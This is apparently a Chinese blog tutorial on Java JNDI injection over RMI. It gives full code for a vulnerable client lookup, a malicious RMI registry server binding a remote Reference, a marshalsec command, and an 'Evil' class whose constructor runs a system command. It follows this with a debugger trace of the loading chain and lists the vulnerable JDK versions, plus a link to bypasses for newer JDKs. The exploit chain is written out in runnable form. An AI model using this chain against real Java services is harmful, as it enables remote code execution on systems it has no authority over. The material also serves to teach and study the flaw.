jndi简介

Java 命名和目录接口 (JNDI) 是一种 Java API,它允许 Java 软件客户端通过名称发现和查找数据和对象。JNDI 提供了一个通用接口,用于访问不同的命名和目录服务,例如 LDAP、DNS 和 NIS 提供的服务。JNDI 可用于访问 Java EE 应用程序中的数据库、队列和 EJB(Enterprise JavaBeans)等资源,也可用于通过 RMI(远程方法调用)或 CORBA(通用对象请求代理架构)访问远程对象).

在了解jndi之后需要了解rmi的相关知识,远程方法调用 (RMI) 是一种 Java API,它允许 Java 对象调用远程对象上的方法,就好像它们是本地的一样。RMI 使运行在不同计算机上的 Java 虚拟机 (JVM) 之间能够进行通信,它是在 Java 中实现分布式计算的机制。

RMI 为 Java 对象提供了一种通过网络相互交互的方式,就好像它们在同一个 JVM 中运行一样。这是通过在一台机器上创建一个远程对象,然后在客户端机器上为该对象创建一个“存根”来实现的。客户端通过存根与远程对象通信,远程对象本身处理与服务器机器上运行的实际远程对象的通信。

RMI 使用 Java 的对象序列化机制来编组和解组参数以及远程方法调用的返回值。RMI 还允许远程对象具有回调,以便服务器对象可以调用客户端对象上的方法。

值得注意的是,RMI是Java特有的技术,不能用于跨语言、跨平台的开发。相反,在这些情况下更多

环境搭建

Ps:本次实验的jdk环境是1.8.0,
老版本的jdk下载链接:
    https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html
    客户端为windows用为调试IP:192.168.40.1
    服务端为kali,IP为192.168.40.128
    地使用其他解决方案,例如 CORBA 和 Web 服务。

(1)创建客户端:

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class RMIClient {
    public static void main(String[] args) {
        try {
            // 设置trustURLCodebase的值为true, 防止远程调用失败
           // System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
            String uri = "rmi://192.168.40.128:8880/feng";
            // 此类是执行命名操作的初始上下文
            Context ctx = new InitialContext();
            // 返回绑定到 uri 的对象
            ctx.lookup(uri);
        } catch (Exception e) {
            System.out.println("flynaaaaa");
        }
    }
}

InitialContext()提供了一种创建用于执行JNDI操作的上下文的方法,使得你的Java应用程序可以与各种命名和目录服务(如LDAP、DNS和NIS)交互,并为访问远程资源或服务提供了简单的方法。

(2)服务端创建:

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Server {
    public static void main(String[] args) throws Exception{
        System.setProperty("java.rmi.server.hostname","192.168.40.128");
//用作创建注册中心
        Registry registry = LocateRegistry.createRegistry(8880);
//将我们的恶意类搭载到http://192.168.40.128:9988/上 第二个Evil是创建的工厂,第一个Evil是编译的恶意类Evil.class
        Reference feng = new Reference("Evil","Evil","http://192.168.40.128:9988/");
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(feng);
        registry.bind("feng",referenceWrapper);
    }
}

Reference是Java Naming and Directory Interface(JNDI) API的一部分,它用于表示对命名或目录服务中绑定的对象的引用。Reference类包含许多RefAddr对象,每个对象包含一种类型和一个值。

Reference对象由工厂类(如ObjectFactory)创建,用于传递工厂类重新创建对象所需的信息。

Reference类提供了一种存储对象引用的方法,该引用可以存储在JNDI命名服务中,例如,稍后由JNDI服务检索。Reference实例包含ObjectFactory需要重新创建对象所需的信息。

Reference可能包含RefAddr,该RefAddr包含类型和值。类型和值对可用于指定关于引用的其他信息,例如远程对象的位置,例如远程主机、端口和RMI接口,这允许ObjectFactory为远程对象创建适当的RMI存根。

总的来说, Reference实例用于向JNDI服务描述对象及其属性,并在需要时帮助重新创建对象。

操作:使用在kali上使用javac对服务端进行编译之后,使用java Sever运行程序

服务端也可以用marshalsec代替

命令:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.40.128:9988/#Evil" 8880

(3)创建恶意类

import java.io.IOException;
public class Evil {
    // 静态代码块, 当类被加载时调用
    public Evil() throws Exception{
        Runtime.getRuntime().exec("calc");
    }
}

操作:在kali上使用javac对Evil进行编译,然后在当前目录下开启http服务,本案例使用python开启9988




java 本地端怎么进程注入 java jndi注入_Java


(4)结果


java 本地端怎么进程注入 java jndi注入_Powered by 金山文档_02


动态调试

触发问题的关键是lookup()函数,所以从lookup()函数入手


java 本地端怎么进程注入 java jndi注入_java_03


之后进入InitialContext类中的lookup()方法对uri进行加载


java 本地端怎么进程注入 java jndi注入_java 本地端怎么进程注入_04


经过getURLOrDefaultInitCtx()方法对uri进行上下文处理后,进入GenericURLContext类中的lookup()方法。对uri再进行解析处理。


java 本地端怎么进程注入 java jndi注入_java_05


之后客户端查询sevice,向注册中心查询Reference的存根,调用RegistryContext类的lookup()


java 本地端怎么进程注入 java jndi注入_java 本地端怎么进程注入_06


之后对RegistryContext类的lookup()进行跟进,stub经过特殊处理后进入RegistryContext类中的decodeObject()方法。


java 本地端怎么进程注入 java jndi注入_java_07


之后进入 NamingManager类的getObjectInstance()方法


java 本地端怎么进程注入 java jndi注入_java_08


getObjectInstance()方法有class进行判断如果本地存在Evil则从本地加载,如果本地没有则使用Reference()方法进行加载


java 本地端怎么进程注入 java jndi注入_java 本地端怎么进程注入_09


这里用codebase进行远程加载


java 本地端怎么进程注入 java jndi注入_java 本地端怎么进程注入_10


经过class类的newInstance()方法来创建对象,进而执行了Calc


java 本地端怎么进程注入 java jndi注入_Java_11


java 本地端怎么进程注入 java jndi注入_java 本地端怎么进程注入_12


ldap和rmi差不多,等有时间在继续进行实验。

总结:

原理:jndi注入当客户端本地没有目标类的时候,就是就会去codebase去请求该类,然后创建对象。


java 本地端怎么进程注入 java jndi注入_java 本地端怎么进程注入_13


java 本地端怎么进程注入 java jndi注入_Java_14


注意事项:

JDK版本(默认把ldap算进去了)在11.0.1、8u191、7u201、6u211之前可直接利用。

Ps:8u121之前 rmi ldap 的reference都可以使用,8u121~8u191 只有ldap可以使用。

高版本绕过:https://tttang.com/archive/1405/

利用总结:lookup可控、使用带的URL支持动态转换、Reference可以实例化对象。